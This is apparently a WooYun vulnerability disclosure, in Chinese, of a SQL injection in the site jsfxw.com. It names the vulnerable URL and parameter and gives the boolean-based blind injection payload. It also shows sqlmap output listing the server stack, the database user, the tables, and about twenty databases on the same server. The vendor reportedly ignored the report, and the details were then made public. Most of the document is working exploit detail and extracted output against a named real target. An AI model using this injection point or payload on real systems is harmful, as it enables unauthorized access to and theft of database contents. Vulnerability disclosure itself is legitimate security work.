乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-12-27: 积极联系厂商并且等待厂商认领中,细节不对外公开 2016-02-09: 厂商已经主动忽略漏洞,细节向公众公开
平安夜快乐
目标:http://www.jsfxw.com注入点:http://www.jsfxw.com/sjsd/sdjs.asp?id=2
---Parameter: id (GET) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: id=2 AND 1274=1274---web server operating system: Windows 2003 or XPweb application technology: Microsoft IIS 6.0, ASPback-end DBMS: Microsoft SQL Server 2000
当前用户及数据库:
current user: 'sjsdqq_Q'current database: 'sjsd_tp'
tables
Database: sjsd_tp[6 tables]+----------------+| dtproperties || jsk_sd || jsk_sdtp || jsk_sjtp || sysconstraints || syssegments |+----------------+
还有其他的一些个
[18:13:57] [INFO] retrieved: sjsd_tp[18:14:01] [INFO] retrieved: master[18:14:29] [INFO] retrieved: model[18:14:41] [INFO] retrieved: msdb[18:14:43] [INFO] retrieved: pubs[18:14:45] [INFO] retrieved: Nort[18:15:11] [INFO] retrieved: yzqj_sql2009[18:15:17] [INFO] retrieved: sp_wbook[18:15:21] [INFO] retrieved: yzqj_wxfsql[18:15:27] [INFO] retrieved: jsfxw_sbbs[18:15:32] [INFO] retrieved: js[18:15:56] [INFO] retrieved: symc_sg[18:16:00] [INFO] retrieved: njbq_ks[18:16:06] [INFO] retrieved: emba_sql[18:16:10] [INFO] retrieved: jsszcb_s[18:16:37] [INFO] retrieved: js_lhh[18:16:49] [INFO] retrieved: sjsd_tp[18:16:53] [INFO] retrieved: js_[18:17:17] [INFO] retrieved: pingtai_sql[18:17:26] [INFO] retrieved: 2[18:17:26] [INFO] retrieved: dbo.sysconst[18:17:57] [INFO] retrieved: dbo.syssegments[18:18:04] [INFO] retrieved: dbo.dtproperties[18:18:14] [INFO] retrieved: dbo.jsk_sd[18:18:18] [INFO] retrieved: dbo.jsk_sdtp[18:18:21] [INFO] retrieved: dbo.jsk_sjtp[18:18:33] [INFO] retrieved: dbo.sysconstraints[18:18:55] [INFO] retrieved: dbo.syssegments[18:19:01] [INFO] retrieved: 82[18:19:05] [INFO] retrieved: dbo.backupfile[18:19:41] [INFO] retrieved: dbo.backupmediaset[18:19:45] [INFO] retrieved: dbo.backupset[18:19:49] [INFO] retrieved: dbo.log_shipping_databases[18:20:06] [INFO] retrieved: dbo.log_shipping_monitor
..
未能联系到厂商或者厂商积极拒绝